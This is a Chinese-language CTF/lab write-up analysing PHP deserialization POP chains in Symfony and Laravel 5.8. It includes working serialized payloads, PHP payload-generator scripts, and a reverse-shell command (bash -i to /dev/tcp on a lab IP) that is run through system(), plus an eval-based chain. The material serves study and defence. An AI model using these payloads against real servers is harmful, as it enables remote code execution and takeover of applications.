Laravel POP链简析

Laravel POP链简析

前言

  • POP链与PHP反序列化漏洞利用是密不可分的概念,反序列化漏洞相关的知识在网上有很多,这里不再赘述。本文主要对laravel的POP链简析。

基本概念

  • POP(Property Oriented Programming):面向属性编程;可以与ROP类比。
  • POP链(POP CHAIN):把魔术方法作为入口,然后在魔术方法中调用其他函数,通过寻找一系列函数,最后执行恶意代码,就构成了POP CHAIN 。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制反序列化的类的属性,从而执行POP CHAIN,达到利用特定漏洞的效果。
  • 在构造POP链时,攻击者可以控制流程中的所有形如this->xxx的变量和相关函数。

0x00 Symfony POP链

  • 此POP chain出现在2019年国赛决赛的一道web题中(原题因为出题人忘记清除访问记录导致POP链暴露,题被刷爆了XD),在laravel 5.8并且安装有symfony组件时存在POP链。

复现

  • glzjin师傅将题目上传了,题目地址:https://github.com/glzjin/CISCN_2019_Final_9_Day1_Web4
  • 为了调试漏洞,我在复现时使用上一篇博客中的docker,然后直接将source.tar.gz复制解压就搭建好可以调试的环境了。

  • 整个POP链的官方payload如下(在后面会有一些简化,payload与此处不大一致):

1
O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A53%3A%22bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.153.1%2F8888%200%3E%261'%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D
  • 构造的对象内容如下(中间的%00不能复制,替换成了%20):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2:
{
s:57:" Symfony\Component\Cache\Adapter\TagAwareAdapter deferred";
a:1:
{
i:1;
O:33:"Symfony\Component\Cache\CacheItem":3:
{
s:12:" * innerItem";
s:53:"bash -c 'bash -i >& /dev/tcp/192.168.153.1/8888 0>&1'";
s:11:" * poolHash";
s:1:"1";
s:9:" * expiry";
s:1:"1";
}
}
s:53:"Symfony\Component\Cache\Adapter\TagAwareAdapter pool";
O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":2:
{
s:58:"Symfony\Component\Cache\Adapter\ProxyAdapter setInnerItem";
s:6:"system";
s:54:"Symfony\Component\Cache\Adapter\ProxyAdapter poolHash";
s:1:"1";
}
}
  • 访问: http://192.168.153.128:10086/public/?payload=O%3A47%3A%22Symfony\Component\Cache\Adapter\TagAwareAdapter%22%3A2%3A{s%3A57%3A%22%00Symfony\Component\Cache\Adapter\TagAwareAdapter%00deferred%22%3Ba%3A1%3A{i%3A1%3BO%3A33%3A%22Symfony\Component\Cache\CacheItem%22%3A3%3A{s%3A12%3A%22%00*%00innerItem%22%3Bs%3A53%3A%22bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.153.1%2F8888%200%3E%261%27%22%3Bs%3A11%3A%22%00*%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00*%00expiry%22%3Bs%3A1%3A%221%22%3B}}s%3A53%3A%22%00Symfony\Component\Cache\Adapter\TagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony\Component\Cache\Adapter\ProxyAdapter%22%3A2%3A{s%3A58%3A%22%00Symfony\Component\Cache\Adapter\ProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony\Component\Cache\Adapter\ProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B}} 即可反弹shell。

POP链跟踪

  • 在进行POP链跟踪时,我尝试从构造者的角度进行解析,分析在实战中如何找到POP链。

首先,全局找出一个可以利用的魔术方法(实际寻找时,需要挨个查看,并每个深入分析),发现在 vendor\symfony\symfony\src\Symfony\Component\Cache\Adapter\TagAwareAdapter.php 中包含一个__destruct:

1
2
3
4
public function __destruct()
{
$this->commit();
}

跟进:

1
2
3
4
public function commit()
{
return $this->invalidateTags([]);
}

跟进,由于构造了deferred,在第125行会按照deferred逐个调用,进入saveDeferred函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public function invalidateTags(array $tags)
{
$ok = true;
$tagsByKey = [];
$invalidatedTags = [];
foreach ($tags as $tag) {
CacheItem::validateKey($tag);
$invalidatedTags[$tag] = 0;
}
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) { //跟进这里
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
$tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
$f = $this->createCacheItem;
foreach ($tagsByKey as $key => $tags) {
$this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
}
$ok = $this->pool->commit() && $ok;
if ($invalidatedTags) {
$f = $this->invalidateTags;
$ok = $f($this->tags, $invalidatedTags) && $ok;
}
return $ok;
}
  • 在这里需要对 this->pool 进行构造,全局找到一个类包含 saveDeferred 函数并且能够被利用;经过一番寻找,发现在 vendor\symfony\symfony\src\Symfony\Component\Cache\Adapter\ProxyAdapter.php 中存在可以利用的类(在实际寻找中,需要跟进到执行命令那一步才能确认POP链可用)。

跟进到 ProxyAdapter.php 中:

1
2
3
4
public function saveDeferred(CacheItemInterface $item)
{
return $this->doSave($item, __FUNCTION__);
}

继续跟进,在223行调用了 ($this->setInnerItem)($innerItem, $item) (注:此语法是php7.1之后某版本的新语法,在旧版本中不能成功执行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private function doSave(CacheItemInterface $item, $method)
{
if (!$item instanceof CacheItem) {
return false;
}
$item = (array) $item;
if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
$item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
}
if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
$innerItem = $item["\0*\0innerItem"];
} elseif ($this->pool instanceof AdapterInterface) {
// this is an optimization specific for AdapterInterface implementations
// so we can save a round-trip to the backend by just creating a new item
$f = $this->createCacheItem;
$innerItem = $f($this->namespace.$item["\0*\0key"], null);
} else {
$innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
}
($this->setInnerItem)($innerItem, $item);//注意这里
return $this->pool->$method($innerItem);
}
  • 在此处可以动态调用函数, $this->setInnerItem 值可控,但是 $innerItem 的值不能一眼看出可控, $innerItem 的值有多种赋值方法,实际情况下需要分析后进一步找出如何控制 $innerItem 的值。
  • 注意到如下:
1
2
3
if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
$innerItem = $item["\0*\0innerItem"];
}
  • 回溯到 invalidateTags 函数中,注意到 $items = $this->deferred; ,而$items会被进一步解析到 $item ,所以此处的 $item 是可控的。在这里,需要使 $item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"] ,这是什么意思呢,在PHP中,将一个对象被强行转换为array时,它的属性就会根据其是private或protected变成相应的字符串;所以在这里,还需要两个类的 poolHash 属性,使之相等,这时就能控制动态调用函数的第一个参数了。所以在这里需要在全局找到一个类,它包含有 poolHash 属性和 innerItem 属性;在这里找到的是 vendor\symfony\symfony\src\Symfony\Component\Cache\CacheItem.php 中的 CacheItem 类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
final class CacheItem implements ItemInterface
{
private const METADATA_EXPIRY_OFFSET = 1527506807;
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;
......

此时我们已经可以做到任意调用一个函数,这个函数的第一个参数我们可以控制;这个时候,需要找到一个PHP命令执行函数,它可以有两个参数,并且只需要第一个参数就能达到RCE的效果。

  • 查看system函数的文档:

system ( string $command [, int &$return_var ] ) : string ,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。传入两个参数是可以成功调用的。

  • 综合起来,控制函数名为 system ,第一个参数为待执行的函数,就可以执行系统命令。设置 $this->setInnerItem 的值为 system$innerItem 值为待执行的命令,从而执行了任意指令,达到RCE的目的。

简化之后的payload构造代码如下(修改自mochazz师傅的构造代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace Symfony\Component\Cache{
final class CacheItem
{
protected $poolHash;
protected $innerItem;
public function __construct( $poolHash, $command)
{
$this->poolHash = $poolHash;
$this->innerItem = $command;
}
}
}
namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash;
private $setInnerItem;
public function __construct($poolHash, $func)
{
$this->poolHash = $poolHash;
$this->setInnerItem = $func;
}
}
class TagAwareAdapter
{
private $deferred = [];
private $pool;
public function __construct($deferred, $pool)
{
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}
namespace {
$cacheitem = new Symfony\Component\Cache\CacheItem(1,"bash -c 'bash -i >& /dev/tcp/192.168.153.1/8888 0>&1'");
$proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
$tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
echo urlencode(serialize($tagawareadapter));
}

至此,symfony POP链寻找与调用分析完毕。

0x01 Laravel 5.8 POP链

  • 在原赛题中,出题者直接把这条利用链的入口 __destruct 函数注释了。

复现

  • 只需要把 vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php 第57行的注释还原即可复现。

payload如下:

1
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D
  • 访问 http://192.168.153.129:10086/public/?payload=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D 即可调用phpinfo

POP链分析

  • 首先是入口魔术方法, vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php 第57行:
1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

这里需要寻找一个类,它包含dispatch函数并且能够被进一步利用。 在这里找到 vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php 中的Dispatcher类可以进一步利用,跟进 dispatch

1
2
3
4
5
6
7
8
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}

这里第一个条件需要满足 $this->commandShouldBeQueued($command) ,查看代码,需要 $command 必须是一个实现了 ShouldQueue 接口的类:

1
2
3
4
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}

在这里,找到 vendor\laravel\framework\src\Illuminate\Foundation\Console\QueuedCommand.php 中的 QueuedCommand 类是满足条件并且能够进一步利用的:

1
2
3
4
class QueuedCommand implements ShouldQueue
{
...
}

继续跟进 return $this->dispatchToQueue($command);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);//注意此处
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}

很容易地注意到 $queue = call_user_func($this->queueResolver, $connection); 调用了 call_user_func ,并且 $this->queueResolver 可控,回溯后也很容易发现 $command 也可控(通过 $this->event 即可控制)。所以在这里可以执行任意类包含的函数。在这里就需要找出一个类,它能够执行任意函数

vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php 中出现了能够利用的类 EvalLoader ,这里的 load 函数通过eval直接执行了任意代码,并且 code 属性可控;所以可以调用该类的 load 函数,从而执行任意PHP代码;但是在之前有一个条件语句,所以在这里还需要找到两个类,第一个类具有 code 属性;第二个类有 getName 函数,用来作为第一个类的config属性:

1
2
3
4
5
6
7
8
9
10
11
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {//注意这个条件,需要再找一个类
return;
}
eval("?>" . $definition->getCode());
}
}

其中, getClassName 函数内容如下:

1
2
3
4
public function getClassName()
{
return $this->config->getName();
}

在这里找到的两个类是 vendor\mockery\mockery\library\Mockery\Generator\MockDefinition.phpvendor\nikic\php-parser\lib\PhpParser\Node\Scalar\MagicConst\Line.php

1
2
3
4
5
6
class MockDefinition
{
protected $config;
protected $code;
...
}
1
2
3
4
5
6
7
class Line extends MagicConst
{
public function getName() : string {
return '__LINE__';
}
...
}

OK,到这里,我们一共找到了6个类,经过一系列的分析,终于能够执行任意PHP代码了;mochazz师傅给出的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>

至此,Laravel 5.8 POP链寻找与调用分析完毕;整个POP链较第一个POP链要复杂的多,设计到了6个类的寻找,可以想象真正构造时还是很费力的。

总结

  • 在构造POP链的时候, this->xxx 是我们可以任意赋值的。
  • 如果 this->xxx 是调用的对象,则需要全局搜索,找出可以利用的类进一步分析,此时可以看作POP链进行到了下一环。
  • 最后动态调用的时候,则需要阅读PHP文档,找出参数数量、位置都符合的利用函数。
  • 在进行POP链构造时,需要很高的PHP功底,熟悉整个框架中能够利用的类,充分理解类相关的概念;同时,需要想象每种情况下的执行情况,对各个条件分支都有考虑。
  • PHP字符串动态调用在POP链构造时一般不能起作用(在类中的属性字符串不能动态调用,除非是PHP7.1且加上括号的新语法)。
  • 构造payload时,若出现protected或private属性时,可以在 __construct 函数下直接赋值避免写get、set函数组。

参考资料

  • Code Reuse Attacks in PHP: Automated POP Chain Generation
  • https://xz.aliyun.com/t/5911